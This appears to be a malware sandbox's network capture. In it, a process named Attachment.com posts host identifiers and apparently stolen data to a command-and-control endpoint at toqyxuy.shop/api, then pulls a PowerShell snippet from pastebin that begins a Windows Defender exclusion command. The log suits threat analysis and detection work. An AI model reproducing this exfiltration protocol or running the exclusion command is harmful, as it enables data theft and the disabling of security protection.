2024-12-08 00:46:07 UTC	2839	OUT	Data Raw: d3 2c 95 40 cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed Data Ascii: ,@xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)py
2024-12-08 00:46:07 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vt0ke31dt3q6gdoc7a0rgtbiq8; expires=Wed, 02-Apr-2025 18:32:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=90rkAbY7wTHX8oO0abNKWRn%2Fig1KIg93SzifzQHae1%2FxI0TgJSLkQP5fnfLXJuVsZWabsUZr5Oizq9jXNsZSLjGy1H6liBnp8C%2BpucljfYDlBU%2FqiT6DMhtduLYLplc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bc8ed9c619aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1825&rtt_var=689&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2827&recv_bytes=19129&delivery_rate=1582655&cwnd=32&unsent_bytes=0&cid=64713f44693340cf&ts=947&x=0"
2024-12-08 00:46:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 00:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49891	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:09 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BMUZTTW8QX03778CNVL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8791 Host: toqyxuy.shop
2024-12-08 00:46:09 UTC	8791	OUT	Data Raw: 2d 2d 42 4d 55 5a 54 54 57 38 51 58 30 33 37 37 38 43 4e 56 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 0d 0a 2d 2d 42 4d 55 5a 54 54 57 38 51 58 30 33 37 37 38 43 4e 56 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 4d 55 5a 54 54 57 38 51 58 30 33 37 37 38 43 4e 56 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 41 Data Ascii: --BMUZTTW8QX03778CNVLContent-Disposition: form-data; name="hwid"559CF14FDA771986340225BD5AF29E58--BMUZTTW8QX03778CNVLContent-Disposition: form-data; name="pid"2--BMUZTTW8QX03778CNVLContent-Disposition: form-data; name="lid"hRjzG3--SA
2024-12-08 00:46:10 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6v3vc80r98d0jcugrfhtrhv27v; expires=Wed, 02-Apr-2025 18:32:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iS3RX25VH7L97Q2ye8GvTjaM1EUNor%2BJ%2FapmvmCnSQ7Ke%2BRoBNw55QaJeURo0a0ByhcFUxwi5y3T6dzImvmI92dBszGT6Q7NUZuNgtZFvaFkLxDk864mSACIqWeYcrg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bc9c7bf11a48-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1887&min_rtt=1873&rtt_var=712&sent=9&recv=13&lost=0&retrans=0&sent_bytes=2828&recv_bytes=9727&delivery_rate=1558996&cwnd=156&unsent_bytes=0&cid=16f974d82e11a0e2&ts=902&x=0"
2024-12-08 00:46:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 00:46:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49897	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:11 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HC0296BYR822J2FH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20426 Host: toqyxuy.shop
2024-12-08 00:46:11 UTC	15331	OUT	Data Raw: 2d 2d 48 43 30 32 39 36 42 59 52 38 32 32 4a 32 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 0d 0a 2d 2d 48 43 30 32 39 36 42 59 52 38 32 32 4a 32 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 43 30 32 39 36 42 59 52 38 32 32 4a 32 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 41 4d 53 4f 4e 0d 0a 2d 2d 48 Data Ascii: --HC0296BYR822J2FHContent-Disposition: form-data; name="hwid"559CF14FDA771986340225BD5AF29E58--HC0296BYR822J2FHContent-Disposition: form-data; name="pid"3--HC0296BYR822J2FHContent-Disposition: form-data; name="lid"hRjzG3--SAMSON--H
2024-12-08 00:46:11 UTC	5095	OUT	Data Raw: 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 Data Ascii: M?lrQMn 64F6(X&7~`aO
2024-12-08 00:46:12 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4rec9koamk0vcindk45s3db198; expires=Wed, 02-Apr-2025 18:32:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iLkUCMs3EG0bImjWaYvq9X6lEcY0s9KoDppU4hgY%2FFVydrBaEggaTeXePtpYQlGA24OMLigSm%2Fi1FhjcqnjoPOZY9Q4qaWVhHVvUFisnPoTwOX%2Fzx%2B%2BJYaFQezIv5Nc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bcab7bea0f90-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1522&rtt_var=583&sent=17&recv=26&lost=0&retrans=0&sent_bytes=2827&recv_bytes=21382&delivery_rate=1856325&cwnd=109&unsent_bytes=0&cid=cd447351b6f29d0b&ts=1284&x=0"
2024-12-08 00:46:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 00:46:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49902	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:13 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KSHMGZNY7X7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5397 Host: toqyxuy.shop
2024-12-08 00:46:13 UTC	5397	OUT	Data Raw: 2d 2d 4b 53 48 4d 47 5a 4e 59 37 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 0d 0a 2d 2d 4b 53 48 4d 47 5a 4e 59 37 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 53 48 4d 47 5a 4e 59 37 58 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 41 4d 53 4f 4e 0d 0a 2d 2d 4b 53 48 4d 47 5a 4e 59 37 58 37 0d 0a 43 6f 6e Data Ascii: --KSHMGZNY7X7Content-Disposition: form-data; name="hwid"559CF14FDA771986340225BD5AF29E58--KSHMGZNY7X7Content-Disposition: form-data; name="pid"1--KSHMGZNY7X7Content-Disposition: form-data; name="lid"hRjzG3--SAMSON--KSHMGZNY7X7Con
2024-12-08 00:46:14 UTC	1010	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t4bjrciptvbt8oriankkfqga77; expires=Wed, 02-Apr-2025 18:32:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x4MEiz8NbwjMmuxRjOy4WGNwFKL9Y6RLWcNZRLwUeumrXtSQsU%2BQts%2FEJ4xoJHaqYqiR2eyweUqP86nSi9B8lzOg%2B5Xpu1QzIQOaHfrd3JLmNMNUbTBjXH9vxhpiTBQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bcba5c594332-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1575&rtt_var=602&sent=7&recv=11&lost=0&retrans=0&sent_bytes=2827&recv_bytes=6303&delivery_rate=1802469&cwnd=113&unsent_bytes=0&cid=7ce69cc840a7c83b&ts=1016&x=0"
2024-12-08 00:46:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 00:46:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49908	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:16 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KU5XQ1LN50NAPM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1219 Host: toqyxuy.shop
2024-12-08 00:46:16 UTC	1219	OUT	Data Raw: 2d 2d 4b 55 35 58 51 31 4c 4e 35 30 4e 41 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 0d 0a 2d 2d 4b 55 35 58 51 31 4c 4e 35 30 4e 41 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4b 55 35 58 51 31 4c 4e 35 30 4e 41 50 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 41 4d 53 4f 4e 0d 0a 2d 2d 4b 55 35 58 51 31 4c Data Ascii: --KU5XQ1LN50NAPMContent-Disposition: form-data; name="hwid"559CF14FDA771986340225BD5AF29E58--KU5XQ1LN50NAPMContent-Disposition: form-data; name="pid"1--KU5XQ1LN50NAPMContent-Disposition: form-data; name="lid"hRjzG3--SAMSON--KU5XQ1L
2024-12-08 00:46:17 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p74n929icvlge7tpcas8bf7ilt; expires=Wed, 02-Apr-2025 18:32:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uSRayYKSc70hiuaYt369NVnoSjbOZ5Se%2Fzq0pdgrp5QET6DS081XEdN6nYxCag9pibDhdciT3kk8PPZytqYcRSPfC50Um6jWp4G%2FP3F6rdb24HM1uf7X87CGBMioxEM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bcc898d00f81-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&min_rtt=1661&rtt_var=687&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2128&delivery_rate=1757977&cwnd=239&unsent_bytes=0&cid=ce974bba2b79b09a&ts=1094&x=0"
2024-12-08 00:46:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 00:46:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49915	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:18 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B9DIYYMJD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1083 Host: toqyxuy.shop
2024-12-08 00:46:18 UTC	1083	OUT	Data Raw: 2d 2d 42 39 44 49 59 59 4d 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 0d 0a 2d 2d 42 39 44 49 59 59 4d 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 39 44 49 59 59 4d 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 53 41 4d 53 4f 4e 0d 0a 2d 2d 42 39 44 49 59 59 4d 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --B9DIYYMJDContent-Disposition: form-data; name="hwid"559CF14FDA771986340225BD5AF29E58--B9DIYYMJDContent-Disposition: form-data; name="pid"1--B9DIYYMJDContent-Disposition: form-data; name="lid"hRjzG3--SAMSON--B9DIYYMJDContent-Dis
2024-12-08 00:46:19 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bt1qoi97bn61l75696hikcemm3; expires=Wed, 02-Apr-2025 18:32:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YYRzdMSiRCI%2F1KP%2F9zNarQfXrYeJ%2FPv%2FyYJaHNcxDg8NO2jAxRz7%2F4IY%2Fe7s4RDiirCjh4%2B9D6ylUxLpj5%2FFbtem0syCtseItIGceo8b7yVZlitqiUHxv7I2K2PZj4w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bcd76e3e8ce6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1792&rtt_var=714&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1987&delivery_rate=1489036&cwnd=162&unsent_bytes=0&cid=9216b91699f6a808&ts=796&x=0"
2024-12-08 00:46:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-08 00:46:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49920	104.21.36.51	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:20 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: toqyxuy.shop
2024-12-08 00:46:20 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 53 41 4d 53 4f 4e 26 6a 3d 37 35 36 37 66 66 66 35 34 36 38 66 35 62 36 38 32 37 38 30 61 65 61 34 63 32 65 62 36 32 36 36 26 68 77 69 64 3d 35 35 39 43 46 31 34 46 44 41 37 37 31 39 38 36 33 34 30 32 32 35 42 44 35 41 46 32 39 45 35 38 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--SAMSON&j=7567fff5468f5b682780aea4c2eb6266&hwid=559CF14FDA771986340225BD5AF29E58
2024-12-08 00:46:21 UTC	1010	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=smt60j1edbrkahk5q6tfbbg77a; expires=Wed, 02-Apr-2025 18:33:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FjLeX3kpuOzsbj28PizzzRLM%2Bk%2Fi4ThlELOq3rTp7EBj8B0%2FObqeUUCQpASMgZuU2Dy%2BFcnpAZIomkeNXeainiDpVixGti6Xqjv5lmrPuzku0zvDHlGDzV44F5mc14k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ee8bce488195e6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1751&min_rtt=1750&rtt_var=658&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1012&delivery_rate=1660978&cwnd=252&unsent_bytes=0&cid=ee85ecc7f4cd7cfc&ts=860&x=0"
2024-12-08 00:46:21 UTC	307	IN	Data Raw: 31 32 63 0d 0a 4f 74 56 33 6b 78 4e 35 35 31 51 5a 33 30 75 6d 79 6a 30 4e 41 5a 2b 36 74 53 31 35 76 56 6f 45 2f 79 70 58 4c 75 72 6e 43 71 78 68 72 6c 58 6d 4d 55 50 46 50 47 32 72 4f 39 58 77 59 53 4a 64 73 4d 72 55 58 67 33 59 4f 47 32 52 42 44 52 42 68 37 73 6c 33 6c 75 69 4b 37 78 32 43 36 73 4d 4c 6f 6f 34 38 75 67 52 4c 32 66 72 6d 49 38 66 56 5a 38 2f 4a 73 55 61 4b 67 4b 52 78 58 2b 4f 41 50 63 66 35 32 63 4a 6c 47 35 46 38 42 65 4a 75 56 52 68 64 2f 72 49 78 6b 59 41 6b 7a 6c 6f 69 6b 67 4c 41 64 36 46 4d 70 51 49 74 6b 2f 50 50 41 71 45 4a 6e 43 76 50 34 54 6d 48 32 74 31 76 59 43 48 41 56 76 59 65 44 37 50 56 33 74 56 79 4a 49 6f 6c 68 69 39 41 2b 64 6a 43 74 30 49 4e 6f 4e 6b 7a 61 5a 55 66 57 4c 2b 7a 74 42 64 45 4d 68 71 4b 6f 78 43 4f 46 Data Ascii: 12cOtV3kxN551QZ30umyj0NAZ+6tS15vVoE/ypXLurnCqxhrlXmMUPFPG2rO9XwYSJdsMrUXg3YOG2RBDRBh7sl3luiK7x2C6sMLoo48ugRL2frmI8fVZ8/JsUaKgKRxX+OAPcf52cJlG5F8BeJuVRhd/rIxkYAkzloikgLAd6FMpQItk/PPAqEJnCvP4TmH2t1vYCHAVvYeD7PV3tVyJIolhi9A+djCt0INoNkzaZUfWL+ztBdEMhqKoxCOF
2024-12-08 00:46:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49926	104.20.4.235	443	7924	C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Timestamp	Bytes transferred	Direction	Data
2024-12-08 00:46:22 UTC	199	OUT	GET /raw/erLX7UsT HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: pastebin.com
2024-12-08 00:46:23 UTC	391	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 00:46:23 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Sun, 08 Dec 2024 00:46:23 GMT Server: cloudflare CF-RAY: 8ee8bcf24dccc439-EWR
2024-12-08 00:46:23 UTC	626	IN	Data Raw: 32 36 62 0d 0a 24 6d 33 78 38 79 6b 32 6a 35 71 37 3d 22 41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 20 22 3b 24 61 31 6b 39 7a 73 37 64 36 66 68 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 42 79 74 65 73 28 22 55 6e 69 71 75 65 53 74 72 69 6e 67 31 22 29 3b 24 77 32 66 68 36 7a 6b 33 6c 39 6a 79 3d 28 24 6d 33 78 38 79 6b 32 6a 35 71 37 2b 22 27 24 65 6e 76 3a 54 45 4d 50 27 22 29 3b 24 70 39 6c 6b 37 7a 64 35 6a 33 78 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 24 61 31 6b 39 7a 73 37 64 36 66 68 29 3b 24 76 34 6a 6b 38 78 37 6c 32 66 68 3d 28 24 6d 33 78 38 79 6b 32 6a Data Ascii: 26b$m3x8yk2j5q7="Add-MpPreference -ExclusionPath 